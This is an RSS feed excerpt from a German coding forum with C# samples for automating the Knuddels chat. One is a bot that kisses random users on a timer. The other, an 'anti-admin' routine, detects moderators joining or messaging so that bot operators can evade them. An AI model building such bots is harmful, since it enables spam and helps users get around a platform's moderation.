#0000BB">User&nbsp;user&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">getRandomUser</span><span style="color: #007700">();&nbsp;</span><span style="color: #FF8000">//&nbsp;holt&nbsp;einen&nbsp;Zufallsuser&nbsp;aus&nbsp;unserer&nbsp;Liste,&nbsp;die&nbsp;wir&nbsp;beim&nbsp;joinen&nbsp;geladen&nbsp;haben<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">showLog</span><span style="color: #007700">(</span><span style="color: #0000BB">String</span><span style="color: #007700">.</span><span style="color: #0000BB">Format</span><span style="color: #007700">(</span><span style="color: #DD0000">"Werde&nbsp;nun&nbsp;{0}&nbsp;küssen!"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">user</span><span style="color: #007700">.</span><span style="color: #0000BB">Name</span><span style="color: #007700">),&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Yellow</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//&nbsp;zeigt&nbsp;den&nbsp;Zufallsuser&nbsp;an<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSC</span><span style="color: #007700">.</span><span style="color: #0000BB">SendMessage</span><span style="color: #007700">(</span><span style="color: #0000BB">String</span><span style="color: #007700">.</span><span style="color: #0000BB">Format</span><span style="color: #007700">(</span><span style="color: #DD0000">"/kiss&nbsp;{0}°{1}"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">getRandomUser</span><span style="color: #007700">().</span><span style="color: #0000BB">Name</span><span style="color: #007700">,&nbsp;new&nbsp;</span><span style="color: #0000BB">Random</span><span style="color: #007700">().</span><span style="color: #0000BB">Next</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">1337</span><span style="color: #007700">)));&nbsp;</span><span style="color: #FF8000">//&nbsp;kisst&nbsp;den&nbsp;Zufallsuser<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Thread</span><span style="color: #007700">.</span><span style="color: #0000BB">Sleep</span><span style="color: #007700">(</span><span style="color: #0000BB">intervall</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//&nbsp;wartet&nbsp;XXXX&nbsp;Millisekunden,&nbsp;bis&nbsp;er&nbsp;den&nbsp;nächsten&nbsp;Zufallsuser&nbsp;küsst<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">///&nbsp;&lt;summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;Gibt&nbsp;einen&nbsp;Zufallsuser&nbsp;zurück<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;/summary&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;///&nbsp;&lt;returns&gt;User&lt;/returns&gt;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">private&nbsp;static&nbsp;</span><span style="color: #0000BB">User&nbsp;getRandomUser</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">userList</span><span style="color: #007700">&#91;new&nbsp;</span><span style="color: #0000BB">Random</span><span style="color: #007700">().</span><span style="color: #0000BB">Next</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">userList</span><span style="color: #007700">.</span><span style="color: #0000BB">Count</span><span style="color: #007700">)&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">#endregion<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div><a href="http://ul.to/16z7nky0" target="_blank" rel="nofollow"><font size="4"><b>C# RandomKisser Sample Download</b></font></a></div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Angehängte Grafiken</legend>
				<div style="padding:10px">
				<img class="attach" src="https://u-labs.de/forum/attachment.php?attachmentid=7485&amp;stc=1&amp;d=1397101885" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>The Don of NYC</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-randomkisser-31983</guid>
		</item>
		<item>
			<title>Anti-Admin Sample</title>
			<link>sourcecode-91/anti-admin-sample-30412?goto=newpost</link>
			<pubDate>Tue, 08 Nov 2011 14:06:18 GMT</pubDate>
			<description><![CDATA[Da viele sich nicht anstrengen wollen und lieber c&p machen, hier ein Sample um Anti-Admin bei euren Bots einzubauen: 
 
 
PHP: 
--------- 
/* 
     ...]]></description>
			<content:encoded><![CDATA[<div>Da viele sich nicht anstrengen wollen und lieber c&amp;p machen, hier ein Sample um Anti-Admin bei euren Bots einzubauen:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #FF8000">/*<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;____&nbsp;&nbsp;__.&nbsp;&nbsp;_________&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;|/&nbsp;_|&nbsp;/&nbsp;&nbsp;&nbsp;_____/&nbsp;___________|__|______/&nbsp;&nbsp;|_&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;&nbsp;&nbsp;&nbsp;\_____&nbsp;&nbsp;\_/&nbsp;___\_&nbsp;&nbsp;__&nbsp;\&nbsp;&nbsp;\____&nbsp;\&nbsp;&nbsp;&nbsp;__\<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;\&nbsp;&nbsp;/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\___|&nbsp;&nbsp;|&nbsp;\/&nbsp;&nbsp;|&nbsp;&nbsp;|_&gt;&nbsp;&gt;&nbsp;&nbsp;|&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|____|__&nbsp;\/_______&nbsp;&nbsp;/\___&nbsp;&nbsp;&gt;__|&nbsp;&nbsp;|__|&nbsp;&nbsp;&nbsp;__/|__|&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|__|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Knuddels&nbsp;Anti-Admin&nbsp;Sample<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;©&nbsp;The&nbsp;Don&nbsp;of&nbsp;NYC<br />&nbsp;*/<br /><br /></span><span style="color: #0000BB">using&nbsp;KNLib</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Threading</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">Anti_Admin_Sample<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;class&nbsp;</span><span style="color: #0000BB">Program<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;Main</span><span style="color: #007700">(</span><span style="color: #0000BB">string</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">args</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;new&nbsp;</span><span style="color: #0000BB">Thread</span><span style="color: #007700">(</span><span style="color: #0000BB">Login</span><span style="color: #007700">).</span><span style="color: #0000BB">Start</span><span style="color: #007700">();&nbsp;</span><span style="color: #FF8000">//&nbsp;Loginvorgang&nbsp;in&nbsp;einem&nbsp;neuen&nbsp;Thread&nbsp;ausführen&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;Login</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSClient&nbsp;KSC&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">KSClient</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">Applet</span><span style="color: #007700">(</span><span style="color: #DD0000">"applet.jar"</span><span style="color: #007700">));&nbsp;</span><span style="color: #FF8000">//&nbsp;&nbsp;Neue&nbsp;KS&nbsp;Client&nbsp;Klasse&nbsp;initialisieren&nbsp;mit&nbsp;angegeben&nbsp;Pfad&nbsp;für&nbsp;das&nbsp;Applet<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSC</span><span style="color: #007700">.</span><span style="color: #0000BB">OnTokenReceived&nbsp;</span><span style="color: #007700">+=&nbsp;new&nbsp;</span><span style="color: #0000BB">KSClient</span><span style="color: #007700">.</span><span style="color: #0000BB">ReceivedHandler</span><span style="color: #007700">(</span><span style="color: #0000BB">KSC_OnTokenReceived</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSC</span><span style="color: #007700">.</span><span style="color: #0000BB">Connect</span><span style="color: #007700">(</span><span style="color: #0000BB">ChatSystem</span><span style="color: #007700">.</span><span style="color: #0000BB">DE</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSC</span><span style="color: #007700">.</span><span style="color: #0000BB">Login</span><span style="color: #007700">(</span><span style="color: #DD0000">"NICK"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"PW"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"/K-Script"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;static&nbsp;</span><span style="color: #0000BB">void&nbsp;KSC_OnTokenReceived</span><span style="color: #007700">(</span><span style="color: #0000BB">KSClient&nbsp;KSC</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">String&nbsp;packet</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ForegroundColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">White</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">&#91;&#93;&nbsp;</span><span style="color: #0000BB">token&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">'\0'</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch&nbsp;(</span><span style="color: #0000BB">token</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">"u"</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Eingeloggt"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(!</span><span style="color: #0000BB">AntiAdmin</span><span style="color: #007700">.</span><span style="color: #0000BB">isLoaded</span><span style="color: #007700">)&nbsp;</span><span style="color: #FF8000">//&nbsp;Wenn&nbsp;die&nbsp;Adminliste&nbsp;noch&nbsp;&nbsp;nicht&nbsp;geladen&nbsp;wurde,&nbsp;senden&nbsp;wir&nbsp;/h&nbsp;um&nbsp;das&nbsp;Hilfefenster&nbsp;mit&nbsp;den&nbsp;Admins&nbsp;&nbsp;zu&nbsp;erhalten<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KSC</span><span style="color: #007700">.</span><span style="color: #0000BB">SendMessage</span><span style="color: #007700">(</span><span style="color: #DD0000">"/h"</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">"k"</span><span style="color: #007700">:<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">token</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #DD0000">"Hilfeõf"</span><span style="color: #007700">))&nbsp;</span><span style="color: #FF8000">//&nbsp;Wenn&nbsp;das&nbsp;Hilfefenster&nbsp;gesendet&nbsp;wird,&nbsp;fangen&nbsp;wir&nbsp;es&nbsp;ab<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">AntiAdmin</span><span style="color: #007700">.</span><span style="color: #0000BB">LoadAdminlist</span><span style="color: #007700">(</span><span style="color: #0000BB">token</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">7</span><span style="color: #007700">&#93;);&nbsp;</span><span style="color: #FF8000">//&nbsp;und&nbsp;laden&nbsp;&nbsp;die&nbsp;Adminliste&nbsp;indem&nbsp;wir&nbsp;den&nbsp;Inhalt&nbsp;des&nbsp;Fensters&nbsp;als&nbsp;Parameter&nbsp;übergeben<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">break;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">"r"</span><span style="color: #007700">:<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">AntiAdmin</span><span style="color: #007700">.</span><span style="color: #0000BB">isLoaded</span><span style="color: #007700">)&nbsp;</span><span style="color: #FF8000">//&nbsp;Wenn&nbsp;Adminliste&nbsp;geladen&nbsp;wurde,&nbsp;prüfen&nbsp;wir...<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">AntiAdmin</span><span style="color: #007700">.</span><span style="color: #0000BB">Adminlist</span><span style="color: #007700">.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #0000BB">token</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;))&nbsp;</span><span style="color: #FF8000">//&nbsp;&nbsp;ob&nbsp;derjenige&nbsp;der&nbsp;uns&nbsp;angeschrieben&nbsp;hat,&nbsp;ein&nbsp;Admin&nbsp;war.&nbsp;Dann&nbsp;tun&nbsp;wir...<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ForegroundColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Red</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Fuck!!!&nbsp;Der&nbsp;Admin&nbsp;{0}&nbsp;&nbsp;schrieb&nbsp;mich&nbsp;privat&nbsp;an.&nbsp;WAS&nbsp;SOLL&nbsp;ICH&nbsp;TUN&nbsp;SIR?"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">token</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;);&nbsp;</span><span style="color: #FF8000">//&nbsp;irgendwas<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">"l"</span><span style="color: #007700">:<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;joinedUser&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">token</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">2</span><span style="color: #007700">&#93;.</span><span style="color: #0000BB">Split</span><span style="color: #007700">(</span><span style="color: #DD0000">'\n'</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;</span><span style="color: #FF8000">//&nbsp;&nbsp;Splitten&nbsp;bei&nbsp;\n,&nbsp;da&nbsp;bei&nbsp;manchen&nbsp;Channeln&nbsp;der&nbsp;Nick,&nbsp;der&nbsp;in&nbsp;den&nbsp;Channel&nbsp;&nbsp;kommt&nbsp;wie&nbsp;folgt&nbsp;gesendet&nbsp;wird:&nbsp;NICK\nALTER<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">AntiAdmin</span><span style="color: #007700">.</span><span style="color: #0000BB">isLoaded</span><span style="color: #007700">)&nbsp;</span><span style="color: #FF8000">//&nbsp;Wenn&nbsp;Adminliste&nbsp;geladen&nbsp;wurde,&nbsp;prüfen&nbsp;wir...<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">AntiAdmin</span><span style="color: #007700">.</span><span style="color: #0000BB">Adminlist</span><span style="color: #007700">.</span><span style="color: #0000BB">Contains</span><span style="color: #007700">(</span><span style="color: #0000BB">joinedUser</span><span style="color: #007700">))&nbsp;</span><span style="color: #FF8000">//&nbsp;&nbsp;ob&nbsp;derjenige&nbsp;der&nbsp;in&nbsp;den&nbsp;Channel&nbsp;gekommen&nbsp;ist,&nbsp;ein&nbsp;Admin&nbsp;ist.&nbsp;Dann&nbsp;tun&nbsp;&nbsp;wir...<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">ForegroundColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ConsoleColor</span><span style="color: #007700">.</span><span style="color: #0000BB">Red</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Console</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteLine</span><span style="color: #007700">(</span><span style="color: #DD0000">"Fuck!!!&nbsp;Der&nbsp;Admin&nbsp;{0}&nbsp;hat&nbsp;den&nbsp;Channel&nbsp;betreten"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">joinedUser</span><span style="color: #007700">);&nbsp;</span><span style="color: #FF8000">//&nbsp;irgendwas<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div><b>Anti-Admin Klasse:</b><br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
